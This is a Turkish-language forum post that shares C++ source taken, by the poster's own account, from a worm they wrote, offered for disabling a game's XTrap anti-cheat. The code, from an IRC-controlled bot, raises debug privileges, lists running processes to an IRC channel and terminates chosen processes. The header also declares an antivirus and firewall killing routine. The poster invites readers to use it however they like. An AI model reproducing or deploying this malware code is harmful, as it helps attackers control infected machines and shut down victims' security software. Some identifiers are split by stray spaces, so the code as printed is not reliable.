z+1 msn koxp halen daha çalışmakta ve devam edicektir , oyun yazılımcıları bu bug'u ortadan kaldırmak için çok uğraşdılar fakar verimli bir sonuç alamadılar , çunki z+1 sistem içerisinde bir loop olarak kullanılmakta xtrap ı disable etmek içinde c++ kodu istersen yazayım..


CPP Kısmı:

#ifndef NO_PROCESS

BOOL AdjustPrivileges(char *pPriv, BOOL add)
{
PROC_HEADER;

BOOL bRet = FALSE;
TOKEN_PRIVILEGES tkp;
HANDLE hToken;

if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUS T_PRIVILEGES | TOKEN_QUERY,&hToken))
return bRet;

if (!LookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)) {
CloseHandle(hToken);
return bRet;
}

tkp.PrivilegeCount = 1;
if (add)
tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
tkp.Privileges[0].Attributes);

bRet=AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PT OKEN_PRIVILEGES) NULL, 0);

CloseHandle(hToken);

return bRet;
PROC_FOOTER;
}

int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread, BOOL full)
{
PROC_HEADER;

char sendbuf[IRCLINE];

HANDLE hProcess, hProcess2;
PROCESSENTRY32 pe32 = {0};
MODULEENTRY32 me32 = {0};

if (TRUE) {
AdjustPrivileges(SE_DEBUG_NAME, TRUE);
if ((hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)) != INVALID_HANDLE_VALUE) {
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcess, &pe32)) {
while (Process32Next(hProcess, &pe32)) {
if (killthread) {
}
else if (!proccess) {
if (chan) {
hProcess2 = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe32.th32ProcessID);
me32.dwSize = sizeof(MODULEENTRY32);
if (full) {
if (Module32First(hProcess2, &me32))
wsprintf(sendbuf," %s (%d)",me32.szExePath,pe32.th32ProcessID);
else
wsprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
} else
wsprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
irc_privmsg(sock,chan,sendbuf,notice,TRUE);
CloseHandle(hProcess2);
}
}
else {
if (lstrcmp(pe32.szExeFile,proccess) == 0) {
hProcess2 = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32Proc essID);
CloseHandle(hProcess);

if (!TerminateProcess(hProcess2,0)) {
CloseHandle(hProcess2);

return 0;
}
return 1;
}
}
}
}
CloseHandle(hProcess);
}
AdjustPrivileges(SE_DEBUG_NAME, FALSE);
}

return 0;
PROC_FOOTER;
}

DWORD WINAPI listProcessesThread(LPVOID param)
{
PROC_HEADER;

char sendbuf[IRCLINE];

LPROC lproc = *((LPROC *)param);
LPROC *lprocp = (LPROC *)param;
lprocp->gotinfo = TRUE;

wsprintf(sendbuf,"[PROC]: Listing processes:");
if (!lproc.silent) irc_privmsg(lproc.sock,lproc.chan,sendbuf,lproc.no tice);

if (listProcesses(lproc.sock,lproc.chan,lproc.notice, NULL, FALSE, lproc.full) == 0)
wsprintf(sendbuf,"[PROC]: Process list completed.");
else
wsprintf(sendbuf,"[PROC]: Process list failed.");

if (!lproc.silent) irc_privmsg(lproc.sock, lproc.chan, sendbuf, lproc.notice);


clearthread(lproc.threadnum);

ExitThread(0);
return 0;
PROC_FOOTER;
}

int killProcess(int pid)
{
PROC_HEADER;

int ret=1;

HANDLE pHandle;

if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) != NULL)
if(!TerminateProcess(pHandle,0)) {
ret=0;
CloseHandle(pHandle);
}

return ret;
PROC_FOOTER;
}

#endif


Header Kısmı:

#ifndef NO_PROCESS
typedef struct LPROC
{
SOCKET sock;
char chan[128];
int threadnum;
BOOL full;
BOOL notice;
BOOL silent;
BOOL gotinfo;

} LPROC;

BOOL AdjustPrivileges(char *pPriv, BOOL add);
int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread=FALSE, BOOL full=false);
DWORD WINAPI listProcessesThread(LPVOID param);
int killProcess(int pid);
#ifndef NO_AVFW_KILL
DWORD WINAPI kill_av(LPVOID param);
#endif
#endif

Komut satırı kısmı;

#ifndef NO_PROCESS
else if (lstrcmp("kille",a[s]) == 0 || lstrcmp("kille2", a[s]) == 0) {
if(listProcesses(sock,NULL,notice,a[s+1]) == 1)
wsprintf(sendbuf,"[PROC]: Sonlandırma Başarılı!: %s",a[s+1]);
else
wsprintf(sendbuf,"Sonlandırılamadı: %s", a[s+1]);
if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);


return repeat;
}

Bu kodları yazdıgım bir worm içerisinden alıntı yapdım bu kod sayesinde worm pc deki proceslist i çıkarıyor yani görev yöneticideki çalışan uygulamaları ve bunlardan istediğini sonlandırmana yarıyor. nasıl bir şekilde kullanırsın orası sana kalmıs

işine yarıyan bir kısım olursa kullanırsın diye yazdım ..